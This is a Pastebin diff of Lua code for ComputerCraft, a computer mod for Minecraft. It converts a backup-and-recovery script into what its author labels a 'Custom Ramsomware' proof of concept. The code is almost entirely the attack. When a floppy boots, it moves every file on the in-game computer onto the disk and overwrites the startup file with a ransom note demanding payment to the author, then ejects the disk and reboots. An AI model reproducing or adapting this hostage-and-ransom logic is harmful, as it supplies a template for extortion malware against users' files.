SHOW:
|
|
- or go back to the newest paste.
| 1 | - | -- SmilerRyan's Backup And Recovery Tool: |
| 1 | + | -- SmilerRyan's "Custom Ramsomware" POC: |
| 2 | -- Moves files to disk so they can be recovered later. | |
| 3 | -- NOTE: Recovery will OVERWRITE all files on the machine. | |
| 4 | -- USAGE: Insert floppy with disk in device(s) to copy from/to. | |
| 5 | - | -- DOWNLOAD (ON EMPTY FLOPPY): pastebin get cbTdp8B0 /disk/startup |
| 5 | + | -- DOWNLOAD (ON EMPTY FLOPPY): pastebin get 8as1ZrD5 /disk/startup |
| 6 | ||
| 7 | if term.isColor() then | |
| 8 | - | local DT = "unknown" |
| 8 | + | term.setBackgroundColor(colors.red) |
| 9 | - | term.setCursorPos(2,2) |
| 9 | + | term.setTextColor(colors.black) |
| 10 | - | if fs.isDir("/disk/r") then DT = "recovery" else DT = "backup" end
|
| 10 | + | |
| 11 | - | if term.isColor() then term.setTextColor(colors.yellow) end |
| 11 | + | |
| 12 | - | print("Backup/Recovery Tool by SmilerRyan\n")
|
| 12 | + | |
| 13 | - | print(" This disk will " .. DT .. " your files.")
|
| 13 | + | |
| 14 | - | print(" Warning: Every file/directory will be moved.\n")
|
| 14 | + | |
| 15 | - | print(" To cancel the process, press T.")
|
| 15 | + | print("Decrypting...")
|
| 16 | - | print(" Press any key to start...")
|
| 16 | + | |
| 17 | print("Encrypting...")
| |
| 18 | end | |
| 19 | - | local event, key = os.pullEvent( "key" ) |
| 19 | + | |
| 20 | - | local l = "[Backup Disk] " |
| 20 | + | |
| 21 | - | print("")
|
| 21 | + | |
| 22 | fs.delete("/startup")
| |
| 23 | - | if key == keys.t then |
| 23 | + | shell.run("rm /disk/startup")
|
| 24 | - | term.clear() |
| 24 | + | |
| 25 | - | term.setCursorPos(2,2) |
| 25 | + | for _, filename in ipairs(fs.list("/disk/r")) do
|
| 26 | - | if term.isColor() then term.setTextColor(colors.red) end |
| 26 | + | if not ignore[filename] then |
| 27 | - | write("Backup/Recovery Tool by SmilerRyan\n The " .. DT .. " task was cancelled.\n The drive was not ejected.\n\n")
|
| 27 | + | fs.move("/disk/r/"..filename, "/"..filename)
|
| 28 | - | if term.isColor() then term.setTextColor(colors.white) end |
| 28 | + | end |
| 29 | - | return |
| 29 | + | |
| 30 | ||
| 31 | fs.delete("/disk/r")
| |
| 32 | - | print(" " .. DT .. " started")
|
| 32 | + | local floppy_name = "Backup Disk: empty" |
| 33 | disk.setLabel("top", floppy_name)
| |
| 34 | - | for _, filename in ipairs(fs.list("/disk/r")) do if not ignore[filename] then fs.move("/disk/r/"..filename, "/"..filename) end end
|
| 34 | + | disk.setLabel("bottom", floppy_name)
|
| 35 | disk.setLabel("left", floppy_name)
| |
| 36 | - | l = l .. "empty" |
| 36 | + | disk.setLabel("right", floppy_name)
|
| 37 | disk.setLabel("front", floppy_name)
| |
| 38 | disk.setLabel("back", floppy_name)
| |
| 39 | - | for _, filename in ipairs(fs.list("")) do if not ignore[filename] then fs.move(filename, "/disk/r/"..filename) end end
|
| 39 | + | |
| 40 | - | l = l .."full" |
| 40 | + | |
| 41 | ||
| 42 | fs.makeDir("/disk/r");
| |
| 43 | - | local sides = {"top","bottom","left","right","front","back"}
|
| 43 | + | |
| 44 | - | for i, side in pairs(sides) do |
| 44 | + | for _, filename in ipairs(fs.list("")) do
|
| 45 | - | disk.setLabel(side, l) |
| 45 | + | if not ignore[filename] then |
| 46 | - | disk.eject(side) |
| 46 | + | fs.move(filename, "/disk/r/"..filename) |
| 47 | end | |
| 48 | end | |
| 49 | - | sleep(2) |
| 49 | + | |
| 50 | - | write(" " .. DT .. " complete!\nRebooting...")
|
| 50 | + | local floppy_name = "Backup Disk: full" |
| 51 | disk.setLabel("top", floppy_name)
| |
| 52 | disk.setLabel("bottom", floppy_name)
| |
| 53 | disk.setLabel("left", floppy_name)
| |
| 54 | disk.setLabel("right", floppy_name)
| |
| 55 | disk.setLabel("front", floppy_name)
| |
| 56 | disk.setLabel("back", floppy_name)
| |
| 57 | ||
| 58 | file = fs.open("/startup", "w")
| |
| 59 | file.writeLine('if term.isColor() then')
| |
| 60 | file.writeLine('term.setBackgroundColor(colors.red)')
| |
| 61 | file.writeLine('term.setTextColor(colors.black)')
| |
| 62 | file.writeLine('end')
| |
| 63 | file.writeLine('term.clear()')
| |
| 64 | file.writeLine('print("Note:")')
| |
| 65 | file.writeLine('print("Your files on this computer have been removed!")')
| |
| 66 | file.writeLine('print("The files can recovered if you follow the steps.")')
| |
| 67 | file.writeLine('print("")')
| |
| 68 | file.writeLine('print("Failure to follow these steps results in")')
| |
| 69 | file.writeLine('print("losing these files. If you can\'t pay, remove this message:")')
| |
| 70 | file.writeLine('print("")')
| |
| 71 | file.writeLine('print("rm /startup")')
| |
| 72 | file.writeLine('print("reboot")')
| |
| 73 | file.writeLine('print("")')
| |
| 74 | file.writeLine('print("Recovery Instructions:")')
| |
| 75 | file.writeLine('print("Send a message to SmilerRyan, pay the amount asked and wait for your disk (insert disk and reboot).")')
| |
| 76 | file.writeLine('print("")')
| |
| 77 | file.writeLine('print("Press any key to continue...")')
| |
| 78 | file.writeLine('os.pullEvent("key")');
| |
| 79 | file.writeLine('if term.isColor() then');
| |
| 80 | file.writeLine('term.setBackgroundColor(colors.black)');
| |
| 81 | file.writeLine('term.setTextColor(colors.yellow)');
| |
| 82 | file.writeLine('end');
| |
| 83 | file.writeLine('shell.run("clear")');
| |
| 84 | file.writeLine('print(os.version())');
| |
| 85 | file.close() | |
| 86 | ||
| 87 | end | |
| 88 | ||
| 89 | sleep(0) | |
| 90 | disk.eject("top")
| |
| 91 | disk.eject("bottom")
| |
| 92 | disk.eject("left")
| |
| 93 | disk.eject("right")
| |
| 94 | disk.eject("back")
| |
| 95 | disk.eject("front")
| |
| 96 | os.reboot() |